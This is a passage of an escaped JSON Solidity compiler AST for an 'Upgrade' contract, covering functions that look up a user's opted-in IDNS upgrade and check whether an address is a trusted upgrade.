IDNS\"},\"id\":1806,\"name\":\"UserDefinedTypeName\",\"src\":\"2174:4:6\"}],\"id\":1807,\"name\":\"VariableDeclaration\",\"src\":\"2174:4:6\"}],\"id\":1808,\"name\":\"ParameterList\",\"src\":\"2167:12:6\"},{\"children\":[{\"attributes\":{\"assignments\":[1810]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"l\",\"scope\":1885,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1809,\"name\":\"ElementaryTypeName\",\"src\":\"2184:4:6\"}],\"id\":1810,\"name\":\"VariableDeclaration\",\"src\":\"2184:6:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1811,\"name\":\"Identifier\",\"src\":\"2193:8:6\"}],\"id\":1812,\"name\":\"MemberAccess\",\"src\":\"2193:15:6\"}],\"id\":1813,\"name\":\"VariableDeclarationStatement\",\"src\":\"2184:24:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1810,\"type\":\"uint256\",\"value\":\"l\"},\"id\":1814,\"name\":\"Identifier\",\"src\":\"2240:1:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1815,\"name\":\"Literal\",\"src\":\"2245:1:6\"}],\"id\":1816,\"name\":\"BinaryOperation\",\"src\":\"2240:6:6\"},{\"attributes\":{\"functionReturnParameters\":1808},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":1817,\"name\":\"Literal\",\"src\":\"2259:5:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":1818,\"name\":\"Identifier\",\"src\":\"2266:4:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1819,\"name\":\"Literal\",\"src\":\"2271:1:6\"}],\"id\":1820,\"name\":\"FunctionCall\",\"src\":\"2266:7:6\"}],\"id\":1821,\"name\":\"TupleExpression\",\"src\":\"2258:16:6\"}],\"id\":1822,\"name\":\"Return\",\"src\":\"2251:23:6\"}],\"id\":1823,\"name\":\"IfStatement\",\"src\":\"2236:38:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2049,\"type\":\"function () view returns (bool)\",\"value\":\"upgradePlanned\"},\"id\":1824,\"name\":\"Identifier\",\"src\":\"2283:14:6\"}],\"id\":1825,\"name\":\"FunctionCall\",\"src\":\"2283:16:6\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":-3,\"type\":\"function (bool) pure\",\"value\":\"assert\"},\"id\":1826,\"name\":\"Identifier\",\"src\":\"2308:6:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1810,\"type\":\"uint256\",\"value\":\"l\"},\"id\":1827,\"name\":\"Identifier\",\"src\":\"2315:1:6\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1828,\"name\":\"Literal\",\"src\":\"2320:1:6\"}],\"id\":1829,\"name\":\"BinaryOperation\",\"src\":\"2315:6:6\"}],\"id\":1830,\"name\":\"FunctionCall\",\"src\":\"2308:14:6\"}],\"id\":1831,\"name\":\"ExpressionStatement\",\"src\":\"2308:14:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"--\",\"prefix\":true,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1810,\"type\":\"uint256\",\"value\":\"l\"},\"id\":1832,\"name\":\"Identifier\",\"src\":\"2329:1:6\"}],\"id\":1833,\"name\":\"UnaryOperation\",\"src\":\"2327:3:6\"}],\"id\":1834,\"name\":\"ExpressionStatement\",\"src\":\"2327:3:6\"}],\"id\":1835,\"name\":\"Block\",\"src\":\"2303:32:6\"}],\"id\":1836,\"name\":\"IfStatement\",\"src\":\"2279:56:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1810,\"type\":\"uint256\",\"value\":\"l\"},\"id\":1837,\"name\":\"Identifier\",\"src\":\"2368:1:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1838,\"name\":\"Literal\",\"src\":\"2373:1:6\"}],\"id\":1839,\"name\":\"BinaryOperation\",\"src\":\"2368:6:6\"},{\"attributes\":{\"functionReturnParameters\":1808},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":1840,\"name\":\"Literal\",\"src\":\"2387:5:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":1841,\"name\":\"Identifier\",\"src\":\"2394:4:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1842,\"name\":\"Literal\",\"src\":\"2399:1:6\"}],\"id\":1843,\"name\":\"FunctionCall\",\"src\":\"2394:7:6\"}],\"id\":1844,\"name\":\"TupleExpression\",\"src\":\"2386:16:6\"}],\"id\":1845,\"name\":\"Return\",\"src\":\"2379:23:6\"}],\"id\":1846,\"name\":\"IfStatement\",\"src\":\"2364:38:6\"},{\"children\":[{\"attributes\":{\"assignments\":[1848]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"idx\",\"scope\":1878,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1847,\"name\":\"ElementaryTypeName\",\"src\":\"2412:4:6\"}],\"id\":1848,\"name\":\"VariableDeclaration\",\"src\":\"2412:8:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1810,\"type\":\"uint256\",\"value\":\"l\"},\"id\":1849,\"name\":\"Identifier\",\"src\":\"2423:1:6\"}],\"id\":1850,\"name\":\"VariableDeclarationStatement\",\"src\":\"2412:12:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1848,\"type\":\"uint256\",\"value\":\"idx\"},\"id\":1851,\"name\":\"Identifier\",\"src\":\"2426:3:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1852,\"name\":\"Literal\",\"src\":\"2432:1:6\"}],\"id\":1853,\"name\":\"BinaryOperation\",\"src\":\"2426:7:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"--\",\"prefix\":true,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1848,\"type\":\"uint256\",\"value\":\"idx\"},\"id\":1854,\"name\":\"Identifier\",\"src\":\"2437:3:6\"}],\"id\":1855,\"name\":\"UnaryOperation\",\"src\":\"2435:5:6\"}],\"id\":1856,\"name\":\"ExpressionStatement\",\"src\":\"2435:5:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_enum$_Opt_$1731\",\"typeString\":\"enum Upgrade.Opt\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"userOpt\",\"referencedDeclaration\":1735,\"type\":\"mapping(address => enum Upgrade.Opt)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1857,\"name\":\"Identifier\",\"src\":\"2449:8:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"-\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1848,\"type\":\"uint256\",\"value\":\"idx\"},\"id\":1858,\"name\":\"Identifier\",\"src\":\"2458:3:6\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1859,\"name\":\"Literal\",\"src\":\"2464:1:6\"}],\"id\":1860,\"name\":\"BinaryOperation\",\"src\":\"2458:7:6\"}],\"id\":1861,\"name\":\"IndexAccess\",\"src\":\"2449:17:6\"}],\"id\":1862,\"name\":\"MemberAccess\",\"src\":\"2449:25:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1802,\"type\":\"address\",\"value\":\"_user\"},\"id\":1863,\"name\":\"Identifier\",\"src\":\"2475:5:6\"}],\"id\":1864,\"name\":\"IndexAccess\",\"src\":\"2449:32:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"In\",\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1731,\"type\":\"type(enum Upgrade.Opt)\",\"value\":\"Opt\"},\"id\":1865,\"name\":\"Identifier\",\"src\":\"2485:3:6\"}],\"id\":1866,\"name\":\"MemberAccess\",\"src\":\"2485:6:6\"}],\"id\":1867,\"name\":\"BinaryOperation\",\"src\":\"2449:42:6\"},{\"attributes\":{\"functionReturnParameters\":1808},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":1868,\"name\":\"Literal\",\"src\":\"2505:4:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"to\",\"referencedDeclaration\":1739,\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1869,\"name\":\"Identifier\",\"src\":\"2511:8:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"-\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1848,\"type\":\"uint256\",\"value\":\"idx\"},\"id\":1870,\"name\":\"Identifier\",\"src\":\"2520:3:6\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1871,\"name\":\"Literal\",\"src\":\"2526:1:6\"}],\"id\":1872,\"name\":\"BinaryOperation\",\"src\":\"2520:7:6\"}],\"id\":1873,\"name\":\"IndexAccess\",\"src\":\"2511:17:6\"}],\"id\":1874,\"name\":\"MemberAccess\",\"src\":\"2511:20:6\"}],\"id\":1875,\"name\":\"TupleExpression\",\"src\":\"2504:28:6\"}],\"id\":1876,\"name\":\"Return\",\"src\":\"2497:35:6\"}],\"id\":1877,\"name\":\"IfStatement\",\"src\":\"2445:87:6\"}],\"id\":1878,\"name\":\"ForStatement\",\"src\":\"2407:125:6\"},{\"attributes\":{\"functionReturnParameters\":1808},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"tuple(bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":1879,\"name\":\"Literal\",\"src\":\"2545:5:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":1880,\"name\":\"Identifier\",\"src\":\"2552:4:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1881,\"name\":\"Literal\",\"src\":\"2557:1:6\"}],\"id\":1882,\"name\":\"FunctionCall\",\"src\":\"2552:7:6\"}],\"id\":1883,\"name\":\"TupleExpression\",\"src\":\"2544:16:6\"}],\"id\":1884,\"name\":\"Return\",\"src\":\"2537:23:6\"}],\"id\":1885,\"name\":\"Block\",\"src\":\"2180:384:6\"}],\"id\":1886,\"name\":\"FunctionDefinition\",\"src\":\"2107:457:6\"},{\"attributes\":{\"functionSelector\":\"5efd5384\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"isTrustedUpgrade\",\"scope\":2050,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@return true if _addr is or was an active upgrade trusted by _user.\"},\"id\":1887,\"name\":\"StructuredDocumentation\",\"src\":\"2567:71:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_addr\",\"scope\":1940,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":1888,\"name\":\"UserDefinedTypeName\",\"src\":\"2666:4:6\"}],\"id\":1889,\"name\":\"VariableDeclaration\",\"src\":\"2666:10:6\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_user\",\"scope\":1940,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1890,\"name\":\"ElementaryTypeName\",\"src\":\"2678:7:6\"}],\"id\":1891,\"name\":\"VariableDeclaration\",\"src\":\"2678:13:6\"}],\"id\":1892,\"name\":\"ParameterList\",\"src\":\"2665:27:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":1940,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":1893,\"name\":\"ElementaryTypeName\",\"src\":\"2716:4:6\"}],\"id\":1894,\"name\":\"VariableDeclaration\",\"src\":\"2716:4:6\"}],\"id\":1895,\"name\":\"ParameterList\",\"src\":\"2715:6:6\"},{\"children\":[{\"attributes\":{\"assignments\":[1897]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"length\",\"scope\":1939,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1896,\"name\":\"ElementaryTypeName\",\"src\":\"2726:4:6\"}],\"id\":1897,\"name\":\"VariableDeclaration\",\"src\":\"2726:11:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1898,\"name\":\"Identifier\",\"src\":\"2740:8:6\"}],\"id\":1899,\"name\":\"MemberAccess\",\"src\":\"2740:15:6\"}],\"id\":1900,\"name\":\"VariableDeclarationStatement\",\"src\":\"2726:29:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2049,\"type\":\"function () view returns (bool)\",\"value\":\"upgradePlanned\"},\"id\":1901,\"name\":\"Identifier\",\"src\":\"2763:14:6\"}],\"id\":1902,\"name\":\"FunctionCall\",\"src\":\"2763:16:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"--\",\"prefix\":true,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1897,\"type\":\"uint256\",\"value\":\"length\"},\"id\":1903,\"name\":\"Identifier\",\"src\":\"2786:6:6\"}],\"id\":1904,\"name\":\"UnaryOperation\",\"src\":\"2784:8:6\"}],\"id\":1905,\"name\":\"ExpressionStatement\",\"src\":\"2784:8:6\"}],\"id\":1906,\"name\":\"IfStatement\",\"src\":\"2759:33:6\"},{\"children\":[{\"attributes\":{\"assignments\":[1908]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i\",\"scope\":1936,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1907,\"name\":\"ElementaryTypeName\",\"src\":\"2801:4:6\"}],\"id\":1908,\"name\":\"VariableDeclaration\",\"src\":\"2801:6:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1909,\"name\":\"Literal\",\"src\":\"2810:1:6\"}],\"id\":1910,\"name\":\"VariableDeclarationStatement\",\"src\":\"2801:10:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"<\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1908,\"type\":\"uint256\",\"value\":\"i\"},\"id\":1911,\"name\":\"Identifier\",\"src\":\"2813:1:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1897,\"type\":\"uint256\",\"value\":\"length\"},\"id\":1912,\"name\":\"Identifier\",\"src\":\"2817:6:6\"}],\"id\":1913,\"name\":\"BinaryOperation\",\"src\":\"2813:10:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"++\",\"prefix\":true,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1908,\"type\":\"uint256\",\"value\":\"i\"},\"id\":1914,\"name\":\"Identifier\",\"src\":\"2827:1:6\"}],\"id\":1915,\"name\":\"UnaryOperation\",\"src\":\"2825:3:6\"}],\"id\":1916,\"name\":\"ExpressionStatement\",\"src\":\"2825:3:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1889,\"type\":\"contract IDNS\",\"value\":\"_addr\"},\"id\":1917,\"name\":\"Identifier\",\"src\":\"2837:5:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"to\",\"referencedDeclaration\":1739,\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1918,\"name\":\"Identifier\",\"src\":\"2846:8:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1908,\"type\":\"uint256\",\"value\":\"i\"},\"id\":1919,\"name\":\"Identifier\",\"src\":\"2855:1:6\"}],\"id\":1920,\"name\":\"IndexAccess\",\"src\":\"2846:11:6\"}],\"id\":1921,\"name\":\"MemberAccess\",\"src\":\"2846:14:6\"}],\"id\":1922,\"name\":\"BinaryOperation\",\"src\":\"2837:23:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_enum$_Opt_$1731\",\"typeString\":\"enum Upgrade.Opt\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"userOpt\",\"referencedDeclaration\":1735,\"type\":\"mapping(address => enum Upgrade.Opt)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1923,\"name\":\"Identifier\",\"src\":\"2864:8:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1908,\"type\":\"uint256\",\"value\":\"i\"},\"id\":1924,\"name\":\"Identifier\",\"src\":\"2873:1:6\"}],\"id\":1925,\"name\":\"IndexAccess\",\"src\":\"2864:11:6\"}],\"id\":1926,\"name\":\"MemberAccess\",\"src\":\"2864:19:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1891,\"type\":\"address\",\"value\":\"_user\"},\"id\":1927,\"name\":\"Identifier\",\"src\":\"2884:5:6\"}],\"id\":1928,\"name\":\"IndexAccess\",\"src\":\"2864:26:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"In\",\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1731,\"type\":\"type(enum Upgrade.Opt)\",\"value\":\"Opt\"},\"id\":1929,\"name\":\"Identifier\",\"src\":\"2894:3:6\"}],\"id\":1930,\"name\":\"MemberAccess\",\"src\":\"2894:6:6\"}],\"id\":1931,\"name\":\"BinaryOperation\",\"src\":\"2864:36:6\"}],\"id\":1932,\"name\":\"BinaryOperation\",\"src\":\"2837:63:6\"},{\"attributes\":{\"functionReturnParameters\":1895},\"children\":[{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":1933,\"name\":\"Literal\",\"src\":\"2913:4:6\"}],\"id\":1934,\"name\":\"Return\",\"src\":\"2906:11:6\"}],\"id\":1935,\"name\":\"IfStatement\",\"src\":\"2833:84:6\"}],\"id\":1936,\"name\":\"ForStatement\",\"src\":\"2796:121:6\"},{\"attributes\":{\"functionReturnParameters\":1895},\"children\":[{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":1937,\"name\":\"Literal\",\"src\":\"2928:5:6\"